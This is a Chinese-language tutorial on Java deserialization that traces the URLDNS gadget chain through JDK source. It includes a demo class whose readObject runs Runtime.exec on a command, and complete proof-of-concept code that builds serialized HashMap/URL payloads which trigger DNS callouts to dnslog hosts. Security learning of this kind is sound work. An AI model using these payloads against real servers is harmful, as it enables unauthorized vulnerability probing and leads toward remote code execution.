java反序列化之URLDNS链学习

news/2024/10/9 9:13:59/

一、前言

近来学习java反序列化,听p神所说这个URLDNS利用链比较好理解,故决定由此进入学习的第一篇。

URLDNS是Java反序列化中比较简单的一个链,由于URLDNS不需要依赖第三方的包,同时不限制jdk的版本,所以通常用于检测反序列化的点

URLDNS并不能执行命令,只能发送DNS请求

二、前置介绍

1、Java 序列化是指把 Java 对象转换为字节序列的过程。

  • ObjectOutputStream类的 writeObject() 方法可以实现序列化。

2、Java 反序列化是指把字节序列恢复为 Java 对象的过程。

  • ObjectInputStream 类的 readObject() 方法用于反序列化。

实现java.io.Serializable接口才可被反序列化,而且所有属性必须是可序列化的
(用transient 关键字修饰的属性除外,不参与序列化过程)

代码演示说明:

  • Person.java (需要序列化的类)
java">package com.company;import java.io.Serializable;public class Person  implements Serializable {private String name;public void setName(String name){this.name= name;}public String getName(){return name;}}
  • Main.java(序列化和反序列化)
java">package com.company;import java.io.*;public class Main {public static void main(String[] args) throws Exception{Person person  = new  Person();person.setName("serTest");byte[] serializeData = serialize(person);FileOutputStream outstr = new FileOutputStream("person.bin");outstr.write(serializeData);outstr.close();Person person2 = (Person) unserialize(serializeData);System.out.println(person2.getName());}public static byte[] serialize(final Object obj) throws Exception{ByteArrayOutputStream btout  = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(btout);objOut.writeObject(obj);return btout.toByteArray();}public static Object  unserialize(final byte[] serialized) throws Exception{ByteArrayInputStream btin = new ByteArrayInputStream(serialized);ObjectInputStream objIn = new ObjectInputStream(btin);return objIn.readObject();}
}

查看Person.bin文件:

根据序列化规范,aced代表java序列化数据的magic wordSTREAM_MAGIC,0005表示版本号STREAM_VERSION,73表示是一个对象TC_OBJECT,72表示这个对象的描述TC_CLASSDESC

3、Java中的反序列化readObject 支持 Override,如果开发者重写了这个readObject方法,Java在反序列化过程中会优先调用开发者重写的这个readObject方法,通常在利用中我们需要找一个落脚点也就是gadget,利用这个落脚点来执行我们的恶意操作

readobject反序列化利用点 + 利用链 + RCE触发点

自定义 readObject()方法示例:

Evil.java

java">package com.company;import java.io.Serializable;public class Evil implements Serializable {public String cmd;private void readObject(java.io.ObjectInputStream stream) throws Exception{stream.defaultReadObject();Runtime.getRuntime().exec(cmd);}
}

Main.java

java">package com.company;import java.io.*;public class Main {public static void main(String[] args) throws Exception{Evil evil = new Evil();evil.cmd = "calc.exe";byte[] serializeData = serialize(evil);unserialize(serializeData);}public static byte[] serialize(final Object obj) throws Exception{ByteArrayOutputStream btout  = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(btout);objOut.writeObject(obj);return btout.toByteArray();}public static Object  unserialize(final byte[] serialized) throws Exception{ByteArrayInputStream btin = new ByteArrayInputStream(serialized);ObjectInputStream objIn = new ObjectInputStream(btin);return objIn.readObject();}
}

三、URLDNS利用链(测试java版本:1.8.0_261)

URLDNS链是java原生态的一条利用链, 通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制.
HashMap结合URL触发DNS检查的思路.在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行.之后再用各种gadget去尝试RCE.
HashMap最早出现在JDK 1.2中, 底层基于散列算法实现.而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的.所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的.因此,HashMap实现了自己的writeObject和readObject方法。该利用链具有如下特点:

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

ysoserial中列出的Gadget:GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

*   Gadget Chain:*     HashMap.readObject()*       HashMap.putVal()*         HashMap.hash()*           URL.hashCode()

URLDNS利用思路:

  1. 首先找到Sink:发起DNS请求的URL类hashCode方法

  2. 看谁能调用URL类的hashCode方法(找gadget),发现HashMap行(他重写了hashCode方法,执行了Map里面key的hashCode方法,HashMap而key的类型可以是URL类),而且HashMap的readObject方法直接调用了hashCode方法

  3. EXP的思路就是创建一个HashMap,往里面丢一个URL当key,然后序列化它

  4. 在反序列化的时候自然就会执行HashMap的readObject->hashCode->URL的hashCode->DNS请求

原理分析

java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

HashMap#readObject

对于HashMap这个类来说,他重载了readObject函数,我们知道,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法。跟进 查看一下readObject方法: 我们可以看到它重新计算了keyHash

java">private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// 读取传入的输入流,对传入的序列化数据进行反序列化// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();//调用 ObjectInputStream 的 defaultReadObject 方法,用于读取默认的序列化数据,包括阈值(忽略)、负载因子和其他隐藏信息。reinitialize();//重新初始化 HashMap,恢复到默认状态if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " +loadFactor);s.readInt();                // 读取并忽略哈希表的桶的数量,这里是为了兼容不同版本的 HashMap。int mappings = s.readInt(); // 读取映射条目的数量(即 HashMap 的大小)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " +mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0//计算实际的负载因子,确保在0.25到4.0之间。float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);//检查数组类型,确保能够正确创建 HashMap 中的数组@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}}

关注putVal方法,putVal是往HashMap中放入键值对的方法

java">    /*** Implements Map.put and related methods.** @param hash hash for key* @param key the key* @param value the value to put* @param onlyIfAbsent if true, don't change existing value* @param evict if false, the table is in creation mode.* @return previous value, or null if none*/final V putVal(int hash, K key, V value, boolean onlyIfAbsent,boolean evict) {Node<K,V>[] tab; Node<K,V> p; int n, i;//声明了一些变量,用于存储哈希表的数组、节点、数组长度以及索引。if ((tab = table) == null || (n = tab.length) == 0)//检查哈希表数组是否为空,如果为空,则进行初始化n = (tab = resize()).length;if ((p = tab[i = (n - 1) & hash]) == null)//根据键的哈希值计算索引位置,然后判断该位置是否为空,如果为空,则直接在该位置插入新节点。tab[i] = newNode(hash, key, value, null);else {//如果该位置已经有节点,则需要进行链表遍历或树节点遍历,找到合适的位置插入节点。Node<K,V> e; K k;if (p.hash == hash &&((k = p.key) == key || (key != null && key.equals(k))))e = p;else if (p instanceof TreeNode)e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);else {for (int binCount = 0; ; ++binCount) {if ((e = p.next) == null) {p.next = newNode(hash, key, value, null);if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1sttreeifyBin(tab, hash);break;}if (e.hash == hash &&((k = e.key) == key || (key != null && key.equals(k))))break;p = e;}}if (e != null) { // existing mapping for key如果找到了相同的键,则更新该键对应的值,并返回原来的值V oldValue = e.value;if (!onlyIfAbsent || oldValue == null)e.value = value;afterNodeAccess(e);return oldValue;}}++modCount;if (++size > threshold)resize();afterNodeInsertion(evict);return null;}

这里调用了hash方法来处理key,跟进hash方法:

java">   static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}

我们可以看到,它调用了key的hashcode函数,因此,如果要构造一条反序列化链条,我们需要找到实现了hashcode函数且传参可控的类; 而可以被我们利用的类就是下面的URLDNS,那么跟进到这个类的hashCode()方法看下

URL#hashCode

java.net.URL.hashCode()

java">java.net.URLpublic synchronized int hashCode() {  // synchronized 关键字修饰的方法为同步方法。当synchronized方法执行完或发生异常时,会自动释放锁。if (hashCode != -1)return hashCode;hashCode = handler.hashCode(this);return hashCode;}

当hashCode字段等于-1时会进行handler.hashCode(this)计算,跟进handler发现,定义是

java.net.URL transient URLStreamHandler handler; // transient 关键字,修饰Java序列化对象时,不需要序列化的属性

找到URLStreamHandler这个抽象类,查看它的hashcode实现,调用了getHostAddress函数,传参可控

java">java.net.URLStreamHandlerprotected int hashCode(URL u) {int h = 0;// Generate the protocol part.String protocol = u.getProtocol();if (protocol != null)h += protocol.hashCode();// Generate the host part.InetAddress addr = getHostAddress(u);if (addr != null) {h += addr.hashCode();} else {String host = u.getHost();if (host != null)h += host.toLowerCase().hashCode();}// Generate the file part.String file = u.getFile();if (file != null)h += file.hashCode();// Generate the port part.if (u.getPort() == -1)h += getDefaultPort();elseh += u.getPort();// Generate the ref part.String ref = u.getRef();if (ref != null)h += ref.hashCode();return h;}

跟进 查看getHostAddress函数,u 是我们传入的url,在调用getHostAddress方法时,会进行dns查询。参数u是this 也就是URL类对象

java">java.net.URLStreamHandler   protected synchronized InetAddress getHostAddress(URL u) {if (u.hostAddress != null)return u.hostAddress;String host = u.getHost();if (host == null || host.equals("")) {return null;} else {try {u.hostAddress = InetAddress.getByName(host);} catch (UnknownHostException ex) {return null;} catch (SecurityException se) {return null;}}return u.hostAddress;}

这是正面的分析,整个Gadget也比较清晰了

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress.getByName()

利用(触发)

接上面,回到最开始的Hashmap#readObject方法

java">java.util.hashMap  // Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);

key 是从K key = (K) s.readObject(); 这段代码,也是就是readObject中得到的,说明之前在writeObject会写入key

java">java.util.hashMap      private void writeObject(java.io.ObjectOutputStream s)throws IOException {int buckets = capacity();// Write out the threshold, loadfactor, and any hidden stuffs.defaultWriteObject();s.writeInt(buckets);s.writeInt(size);internalWriteEntries(s);}

最后调用了internalWriteEntries 方法,跟进一下具体实现:

java">  java.util.hashMap  // Called only from writeObject, to ensure compatible ordering.void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {Node<K,V>[] tab;if (size > 0 && (tab = table) != null) {for (int i = 0; i < tab.length; ++i) {for (Node<K,V> e = tab[i]; e != null; e = e.next) {s.writeObject(e.key);s.writeObject(e.value);}}}}

这里的key以及value是从tab中取的,而tab的值为HashMap类中table的值。

HashMap 中table的定义

java">java.util.hashMap    
/*** The table, initialized on first use, and resized as* necessary. When allocated, length is always a power of two.* (We also tolerate length zero in some operations to allow* bootstrapping mechanics that are currently not needed.)*/
//* 该表在第一次使用时初始化,并调整大小为必要的。 分配时,长度始终是 2 的幂。(在某些操作中我们还允许长度为零,以允许 目前不需要的引导机制。)transient Node<K,V>[] table;

想要修改table的值,就需要调用HashMap#put方法,而HashMap#put方法中也会对key调用一次hash方法,所以在这里就会产生第一次dns查询:

java">java.util.hashMap  public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}

ps:

HashMapput 方法会改变 table 的值是因为它用于向哈希表中添加新的键值对。当调用 put 方法时,如果哈希表中已经存在相同的键,则会更新对应键的值;如果哈希表中不存在相同的键,则会添加新的键值对。

put 方法中,首先会根据键的哈希值计算出在数组中的索引位置,然后根据索引位置找到对应的存储桶。如果存储桶为空,表示该位置还没有键值对,直接将新的键值对插入其中即可;如果存储桶不为空,则需要遍历存储桶中的键值对,查找是否已经存在相同的键。如果存在相同的键,则更新对应的值;如果不存在相同的键,则将新的键值对插入到存储桶的末尾。

这个过程中涉及到对数组中存储桶的访问和修改,因此 put 方法会改变 table 的值。通过改变 table 中对应索引位置的存储桶,实现了对键值对的插入或更新操作。

 

为了避免这一次的dns查询(防止本机与目标机器发送的dns请求混淆),ysoserial 中使用SilentURLStreamHandler 方法,直接返回null,并不会像URLStreamHandler那样去调用一系列方法最终到getByName,因此也就不会触发dns查询了

java">static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {return null;}protected synchronized InetAddress getHostAddress(URL u) {return null;}}

除了这种方法还可以在本地生成payload时,将hashCode设置不为-1的其他值。

URL#hashCode

java">java.net.URLpublic synchronized int hashCode() {if (hashCode != -1)return hashCode;hashCode = handler.hashCode(this);return hashCode;}

如果不为-1,那么直接返回了。也就不会进行handler.hashCode(this);这一步计算hashcode,也就没有之后的getByName,获取dns查询

java">java.net.URL
/*** The URLStreamHandler for this URL.*/transient URLStreamHandler handler;/* Our hash code.* @serial*/private int hashCode = -1;

而hashCode是通过private关键字进行修饰的(本类中可使用),可以通过反射来修改hashCode的值

java">package demo;import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;public class Main {public static void main(String[] args) throws Exception {HashMap map = new HashMap();URL url = new URL("http://7gjq24.dnslog.cn");Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); // 反射获取URL类中的hashCodef.setAccessible(true); // 绕过Java语言权限控制检查的权限f.set(url,123);System.out.println(url.hashCode());map.put(url,123); // 调用HashMap对象中的put方法,此时因为hashcode不为-1,不再触发dns查询}}

整个Gadget可以实现,需要的条件说白了就是这个:

那个key,即URL类的对象的hashCode属性值为-1

考虑到最开始调用put(),虽然没有触发URLDNS,但是同样调用了hash(),导致了传入的URL类对象的哈希值被计算了一次,hashCode不再是-1了,因此还需要再修改它的hashCode属性。但是注意这个属性是private

    private int hashCode = -1;

因此只能用反射:

        //ReflectionClass clazz = Class.forName("java.net.URL");Field field = clazz.getDeclaredField("hashCode");field.setAccessible(true);field.set(u,-1);

完整的利用poc如下:

java">package com.company;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class testdemo {public static void main(String[] args) throws Exception{HashMap map = new HashMap();URL url = new URL("http://12345.40f400e994.ipv6.1433.eu.org.");Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");f.setAccessible(true);f.set(url,123);System.out.println(url.hashCode());map.put(url,123);f.set(url,-1);try{FileOutputStream  fos = new FileOutputStream("urldns.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(map);oos.close();fos.close();FileInputStream fis = new FileInputStream("urldns.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();ois.close();fis.close();}catch(Exception e){e.printStackTrace();}}
}

使用ysoserial的poc:

java">package com.company;import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;public class URLDNS {public static void main(String[] args) throws Exception {HashMap  ht = new HashMap();String url = "http://ttttt.9ea296042a.ipv6.1433.eu.org.";URLStreamHandler handler = new TestURLStreamHandler();URL u = new URL(null, url, handler);ht.put(u,url);//ReflectionClass clazz = Class.forName("java.net.URL");Field field = clazz.getDeclaredField("hashCode");field.setAccessible(true);field.set(u,-1);byte[] bytes = serialize(ht);unserialize(bytes);}public static byte[] serialize(Object o) throws Exception{ByteArrayOutputStream bout = new ByteArrayOutputStream();ObjectOutputStream oout = new ObjectOutputStream(bout);oout.writeObject(o);byte[] bytes = bout.toByteArray();oout.close();bout.close();return bytes;}public static Object unserialize(byte[] bytes) throws Exception{ByteArrayInputStream bin = new ByteArrayInputStream(bytes);ObjectInputStream oin = new ObjectInputStream(bin);return oin.readObject();}
}class TestURLStreamHandler extends URLStreamHandler{@Overrideprotected URLConnection openConnection(URL u) throws IOException {return null;}@Overrideprotected synchronized InetAddress getHostAddress(URL u){return null;}
}


http://www.ppmy.cn/news/1436312.html

相关文章

Python 中range和xrange有什么区别

Python 中range和xrange有什么区别 在Python中&#xff0c;range 和 xrange 是两个用于生成数字序列的函数&#xff0c;但它们之间有一些区别。让我详细解释一下&#xff1a; range 函数&#xff1a; range 函数用于生成一个数字序列&#xff0c;返回一个列表对象。语法&…

PHP是什么以及它的主要用途是什么?

PHP是什么以及它的主要用途是什么&#xff1f; PHP&#xff0c;全称Hypertext Preprocessor&#xff0c;是一种通用的开源脚本语言。它尤其适用于Web开发&#xff0c;并可嵌入HTML中。PHP最初的设计目标是创建动态生成的网页&#xff0c;随着其不断的发展&#xff0c;现在的PH…

如何在一台服务器上同时运行搭载JDK 8, JDK 17, 和 JDK 21的项目:终极指南

&#x1f42f; 如何在一台服务器上同时运行搭载JDK 8, JDK 17, 和 JDK 21的项目&#xff1a;终极指南 &#x1f680; 摘要 在企业开发环境中&#xff0c;常常需要在同一台服务器上运行使用不同Java开发工具包&#xff08;JDK&#xff09;版本的多个项目。本文详细介绍如何在L…

HarmonyOS开发案例:【图片编辑】

介绍 本篇Codelab是基于ArkTS的声明式开发范式的样例&#xff0c;主要介绍了图片编辑实现过程。样例主要包含以下功能&#xff1a; 图片的解码。使用PixelMap进行图片编辑&#xff0c;如裁剪、旋转、亮度、透明度、饱和度等。图片的编码。 相关概念 [图片解码]&#xff1a;读…

C++ 之 string类 详细讲解

喜欢的人有点难追怎么办 那就直接拉黑 七个女生在一起是七仙女&#xff0c;那七个男生在一起是什么&#xff1f; 葫芦七兄弟 目录 一、为什么要学习string类 二、标准库中的string类 1.string类 2.string类的常用接口说明 2.1 string类对象的常见构造 2.2 string类对…

【数据结构】队列的使用方法

队列&#xff08;Queue&#xff09;是另一种基本的线性数据结构&#xff0c;它允许在一端进行插入操作&#xff0c;而在另一端进行删除操作。队列的特点是先进先出&#xff08;First In First Out, FIFO&#xff09;&#xff0c;即最先进入队列的元素最先被取出。 队列可以用数…

使用Shell终端访问Linux

一、实验目的 1、熟悉Linux文件系统访问命令&#xff1b; 2、熟悉常用 Linux Shell的命令&#xff1b; 3、熟悉在Linux文件系统中vi编辑器的使用&#xff1b; 4、进一步熟悉虚拟机网络连接模式与参数配置&#xff01; 二、实验内容 1、使用root帐号登陆到Linux的X-windows…

MySQL的事务相关的语句的使用

MySQL的事务相关的语句的使用 事务是数据库管理系统执行过程中的一个程序单位&#xff0c;由一个或多个数据库操作组成。MySQL作为一款流行的关系型数据库管理系统&#xff0c;支持事务处理&#xff0c;允许用户定义一系列的操作&#xff0c;这些操作要么完全执行&#xff0c;…